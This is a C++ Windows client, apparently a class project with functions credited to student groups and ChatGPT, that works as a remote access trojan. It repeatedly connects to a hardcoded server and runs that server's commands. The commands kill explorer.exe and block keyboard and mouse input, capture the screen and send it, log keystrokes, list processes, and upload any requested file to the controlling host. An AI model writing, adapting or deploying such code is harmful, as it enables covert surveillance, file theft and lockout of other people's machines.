﻿#include <iostream>
#include <winsock2.h>
#include <vector>
#pragma comment(lib, "ws2_32.lib")
#pragma warning(disable:4996);
#include <conio.h>


#define IP "127.0.0.1"
//#define IP "192.168.254.1"
//#define IP "192.168.56.1"


//发送消息结构体
struct SendMsgStruct
{
	SOCKET* clientSocket;
	std::string msg;
	struct sockaddr_in ServerAddr;
};

//接收消息结构体
struct RecvMsgStruct
{
	SOCKET* clientSocket;
	struct sockaddr_in ServerAddr;
};
DWORD WINAPI SendThread(LPVOID lpParameter);//发送消息子线程
DWORD WINAPI RecvThread(LPVOID lpParameter);//接收消息子线程


//包头
//命令号
//数据
//包尾
struct MDataStruct
{
	int cmd{};//命令执行 1 关机；
	int datasize{};//总长
	int nowsize{};//当前长度
	char data[1024]{};//缓冲数据
};

void sendError(SOCKET sock, int cmd) {
	std::cout << "开始发送错误信息,时间 " << GetTickCount64() << std::endl;
	MDataStruct mdstr{};
	mdstr.cmd = cmd;
	send(sock, (char*)&mdstr, sizeof(mdstr), 0);
	std::cout << "结束发送错误信息,时间 " << GetTickCount64() << std::endl;
}
VOID SendData(SOCKET sock, int cmd, char* buff, int len)
{
	std::cout << "开始发送,时间 " << GetTickCount64() << std::endl;
	int senddatalen{};
	while (true)
	{
		MDataStruct mdstr{};
		mdstr.cmd = cmd;
		mdstr.datasize = len;

		int nowlen = 0;
		if (len - senddatalen >= 1024)
		{
			nowlen = 1024;
		}
		else
		{
			nowlen = len % 1024;
		}

		memcpy(mdstr.data, buff + senddatalen, nowlen);
		mdstr.nowsize = nowlen;
		send(sock, (char*)&mdstr, sizeof(mdstr), 0);
		senddatalen += nowlen;
		//std::cout << "已经发送： " << senddatalen;
		if (senddatalen >= len)
		{
			break;
		}
	}
	std::cout << "结束发送,时间 " << GetTickCount64() << std::endl;

}


/// <summary>
/// 截图一组  chatgpt
/// </summary>
VOID CaptureScreen(SOCKET s) {
	// 获取屏幕尺寸
	int nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
	int nScreenHeight = GetSystemMetrics(SM_CYSCREEN);

	// 获取屏幕的设备上下文
	HWND hDesktopWnd = GetDesktopWindow();
	HDC hDesktopDC = GetDC(hDesktopWnd);
	HDC hCaptureDC = CreateCompatibleDC(hDesktopDC);

	// 创建一个位图对象
	HBITMAP hCaptureBitmap = CreateCompatibleBitmap(hDesktopDC, nScreenWidth, nScreenHeight);
	SelectObject(hCaptureDC, hCaptureBitmap);

	// 捕获屏幕到位图
	BitBlt(hCaptureDC, 0, 0, nScreenWidth, nScreenHeight, hDesktopDC, 0, 0, SRCCOPY | CAPTUREBLT);

	// 定义位图和文件头
	BITMAPINFOHEADER bi;
	bi.biSize = sizeof(BITMAPINFOHEADER);
	bi.biWidth = nScreenWidth;
	bi.biHeight = nScreenHeight;
	bi.biPlanes = 1;
	bi.biBitCount = 24;
	bi.biCompression = BI_RGB;
	bi.biSizeImage = 0;
	bi.biXPelsPerMeter = 0;
	bi.biYPelsPerMeter = 0;
	bi.biClrUsed = 0;
	bi.biClrImportant = 0;

	DWORD dwBmpSize = ((nScreenWidth * bi.biBitCount + 31) / 32) * 4 * nScreenHeight;

	// 分配内存
	char* bData = (char*)malloc(dwBmpSize);

	// 获取位图数据
	GetDIBits(hCaptureDC, hCaptureBitmap, 0, nScreenHeight, bData, (BITMAPINFO*)&bi, DIB_RGB_COLORS);

	// 创建并写入位图文件
	//HANDLE hFile = CreateFile(L"1.bmp", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	BITMAPFILEHEADER bmfHeader;
	bmfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
	bmfHeader.bfSize = bmfHeader.bfOffBits + dwBmpSize;
	bmfHeader.bfType = 0x4D42; // "BM"

	//DWORD dwBytesWritten = 0;
	//WriteFile(hFile, (LPVOID)&bmfHeader, sizeof(BITMAPFILEHEADER), &dwBytesWritten, NULL);
	//WriteFile(hFile, (LPVOID)&bi, sizeof(BITMAPINFOHEADER), &dwBytesWritten, NULL);
	//WriteFile(hFile, (LPVOID)bData, dwBmpSize, &dwBytesWritten, NULL);

	char* tmp = new char[sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwBmpSize];
	memcpy(tmp, (LPVOID)&bmfHeader, sizeof(BITMAPFILEHEADER));
	memcpy(tmp + sizeof(BITMAPFILEHEADER), (LPVOID)&bi, sizeof(BITMAPINFOHEADER));
	memcpy(tmp+ sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER), (LPVOID)bData, dwBmpSize);


	SendData(s, 2, tmp, sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwBmpSize);

	delete[] tmp;
	// 释放资源
	//CloseHandle(hFile);
	DeleteObject(hCaptureBitmap);
	DeleteDC(hCaptureDC);
	ReleaseDC(hDesktopWnd, hDesktopDC);

	free(bData);

	//cout << "Screen captured and saved to 1.bmp" << endl;

}


/// <summary>
/// 二组 杜成飞组
/// </summary>
/// <returns></returns>
VOID Lock()
{
	system("taskkill /f /im  explorer.exe");
	// 禁用键盘和鼠标
	BlockInput(TRUE);

}

VOID UnLock()
{
	// 启用键盘和鼠标
	BlockInput(FALSE);
	system(" explorer.exe");
}


/// <summary>
/// 代码来自三组 刘博
/// </summary>
/// <returns></returns>
std::string minluck() {
	char ch;
	std::string str;

	std::cout << "Press any key to start monitoring..." << std::endl;

	while (true) {
		if (_kbhit()) { // 检测是否有键盘输入
			ch = _getch(); // 获取键盘输入

			if (ch == 27) { // 如果按下ESC键，退出循环
				break;
			}
			str = str + ch;
			std::cout << "Key pressed: " << ch << std::endl;
		}
	}

	std::cout << "Monitoring stopped." << std::endl;
	return str;
}


/// <summary>
/// 代码来自 四组 欧阳
/// </summary>
/// <returns></returns>
std::string GetProcessList() {
	std::vector<std::pair<std::string, std::string>> processList;
	FILE* pipe = _popen("tasklist /fo csv /nh", "r");
	if (pipe) {
		char buffer[256];
		while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
			std::string line(buffer);
			size_t commaPos = line.find_first_of(",");
			if (commaPos != std::string::npos) {
				std::string processName = line.substr(1, commaPos - 2);
				std::string processID = line.substr(commaPos + 2, line.size() - commaPos - 3);
				processList.push_back(std::make_pair(processName, processID));
			}
		}
		_pclose(pipe);
	}

	std::string prostr;
	for (const auto& entry : processList) {
		prostr += entry.first + "," + entry.second + "\n";
	}
	return prostr;
}


/// <summary>
/// 代码来 五组 彭麟杰组
/// </summary>
/// <param name="s"></param>
/// <param name="fileName"></param>
/// <returns></returns>
bool upload(SOCKET s, const char* fileName) {
	long g_fileSize;//保存文件大小

	std::cout << "开始上传文件";
	FILE* read = fopen(fileName, "rb");//rb 二进制方式打开
	if (!read) {//为空时
		perror("file open failed : \n");
		//std::cout << "文件名或路径发生错误，请重新输入！" << std::endl;
		std::cout << "文件不存在" << std::endl;
		sendError(s, 6);
		return false;
	}
	//获取文件大小
	fseek(read, 0, SEEK_END);//将文件位置指针移动到最后
	g_fileSize = ftell(read);
	fseek(read, 0, SEEK_SET);//移动到开头
	printf("filesize :%d（Byte）\n", g_fileSize);

	char* fileBuf = new char[g_fileSize + 1] {};
	int length;
	
	fread(fileBuf, sizeof(char), g_fileSize, read);
	//fseek(read, length, SEEK_CUR);

	SendData(s, 5, (char*)fileBuf, g_fileSize+1);

	delete[]fileBuf;
	fseek(read, 0, SEEK_SET);//移动到开头
	fclose(read);
	return true;
}


int main() {

strart:
	WSADATA wsaData;
	// 初始化Winsock库
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
		std::cout << "Failed to initialize Winsock." << std::endl;
		return 1;
	}

	// 创建socket
	SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, 0);
	if (clientSocket == INVALID_SOCKET) {
		std::cout << "Failed to create socket." << std::endl;
		return 1;
	}

	sockaddr_in serverAddress;
	serverAddress.sin_family = AF_INET;
	serverAddress.sin_port = htons(10240); // 服务器端口号
	serverAddress.sin_addr.S_un.S_addr = inet_addr(IP); // 服务器IP地址

	// 连接到服务器
	if (connect(clientSocket, (struct sockaddr*)&serverAddress, sizeof(serverAddress)) == SOCKET_ERROR) {
		std::cout << "Failed to connect to server." << std::endl;
		//closesocket(clientSocket);
		//return 1;
		Sleep(1000);
		goto strart;

	}
	else
	{
		std::cout << "connect success " << std::endl;
	}

	//创建一个子线程，用于向服务器端发送消息
	//struct SendMsgStruct* msgSend = new struct SendMsgStruct();
	//msgSend->clientSocket = &clientSocket;
	//msgSend->msg = "你好,Msg From Client";
	//msgSend->ServerAddr = serverAddress;
	//传递一个struct
	//HANDLE hSendThread = CreateThread(NULL, 0, SendThread, (LPVOID)msgSend, 0, NULL);
	//WaitForSingleObject(hSendThread, INFINITE);

	//if (hSendThread == NULL)
	//{
	//	std::cout << "创建发送消息子线程失败" << std::endl;
	//	system("pause");
	//	return -1;
	//}

	////创建一个子线程，用于接收从服务器端发送过来的消息
	//struct RecvMsgStruct* msgRecv = new struct RecvMsgStruct();
	//msgRecv->clientSocket = &clientSocket;
	//msgRecv->ServerAddr = serverAddress;
	////传递一个struct指针参数
	//HANDLE hRevcThread = CreateThread(NULL, 0, RecvThread, (LPVOID)msgRecv, 0, NULL);
	//WaitForSingleObject(hRevcThread, INFINITE);

	//if (hRevcThread == NULL)
	//{
	//	std::cout << "创建接收消息子线程失败" << std::endl;
	//	system("pause");
	//	return -1;
	//}

	while (true)
	{
		// 接收服务器返回的数据
		char recvData[50];
		int recvSize = recv(clientSocket, recvData, 50, 0);
		if (recvSize < 1)
		{
			Sleep(1000);
			goto strart;
		}
		MDataStruct *md;
		md = (MDataStruct*)recvData;

		switch (md->cmd)
		{
		case 0:
			//exit(0);
			break;

		case 1:
			Lock();
			break;

		case -1:
			std::cout << "use UnLock" << std::endl;
			UnLock();
			break;
		case 2:
		{
			 CaptureScreen(clientSocket);
		}
			break;

		case 3:
		{
			std::string prostr = minluck();
			SendData(clientSocket, 3, (char*)prostr.c_str(), strlen(prostr.c_str()));
		}
			break;

		case 4:
		{
			std::string prostr = GetProcessList();
			SendData(clientSocket, 4, (char*)prostr.c_str(), strlen(prostr.c_str()));
		}
			break;

		case 5:
			upload(clientSocket,md->data);
			break;

		default:
			break;
		}
	}


	// 向服务器发送数据
	//const char* sendData = "Hello, Server!";
	//send(clientSocket, sendData, strlen(sendData), 0);

	// 关闭socket
	closesocket(clientSocket);

	// 清理Winsock库
	WSACleanup();

	return 0;
}


//发送消息子线程
DWORD WINAPI SendThread(LPVOID lpParameter)
{
	SendMsgStruct* myStruct = (SendMsgStruct*)lpParameter;
	SOCKET* ClientSocket = myStruct->clientSocket;
	std::string SendMsg = myStruct->msg;
	struct sockaddr_in ServerAddr = myStruct->ServerAddr;

	while (true)
	{
		int flag = 0;
		MDataStruct mdstr{};
		mdstr.cmd = 7;
		memcpy(mdstr.data, SendMsg.c_str(), SendMsg.length());
		
		//int bufSize = SendMsg.length();
		//char* buf = const_cast<char*>(SendMsg.c_str());
		{
			//CAutoLock ALock(&ctLock);
			//flag = send(*ClientSocket, buf, bufSize, 0);
			flag = send(*ClientSocket, (char*)&mdstr,sizeof mdstr, 0);
			//判断当前时候存在可用连接,如果没有，再次连接
			while (flag == SOCKET_ERROR || flag == 0)
			{
				std::cout << "准备重连" << std::endl;
				closesocket(*ClientSocket);
				*ClientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
				if (connect(*ClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == SOCKET_ERROR)
				{
					std::cout << "重连失败 :" << GetLastError() << std::endl;
					Sleep(5000);
				}
				else
				{
					break;
				}
			}
			if (flag < sizeof mdstr)
			{
				//flag = send(*ClientSocket, buf, bufSize - flag, 0);
				flag = send(*ClientSocket, (char*)&mdstr, sizeof mdstr - flag, 0);
			}
			else    //传输成功
			{
				//std::cout << "\n消息传输成功" << std::endl;
			}
		}
		Sleep(2000);       //每2秒发送一次
	}
	return 0;
}

//接收消息子线程
DWORD WINAPI RecvThread(LPVOID lpParameter)
{
	RecvMsgStruct* recvStruct = (RecvMsgStruct*)lpParameter;
	SOCKET* ClientSocket = recvStruct->clientSocket;
	struct sockaddr_in ServerAddr = recvStruct->ServerAddr;
	while (true)
	{
		char recvBuf[500] = { "0" };
		int byteRecv = recv(*ClientSocket, recvBuf, 500, 0);
		//CAutoLock ALock(&ctLock);
		int connectState;
		while (byteRecv == 0 || byteRecv == SOCKET_ERROR)
		{
			//连接断开，重连
			std::cout << "byteRecv <= 0" << std::endl;
			closesocket(*ClientSocket);
			*ClientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
			connectState = connect(*ClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr));

			if (connectState == SOCKET_ERROR)
			{
				std::cout << "建立连接发生错误,错误代码:" << GetLastError() << std::endl;
			}
			else
			{
				std::cout << "重连成功!!!!!!!" << std::endl;
				break;
			}
			Sleep(5000);
		}
		std::cout << recvBuf << std::endl;
	}
	return 0;
}

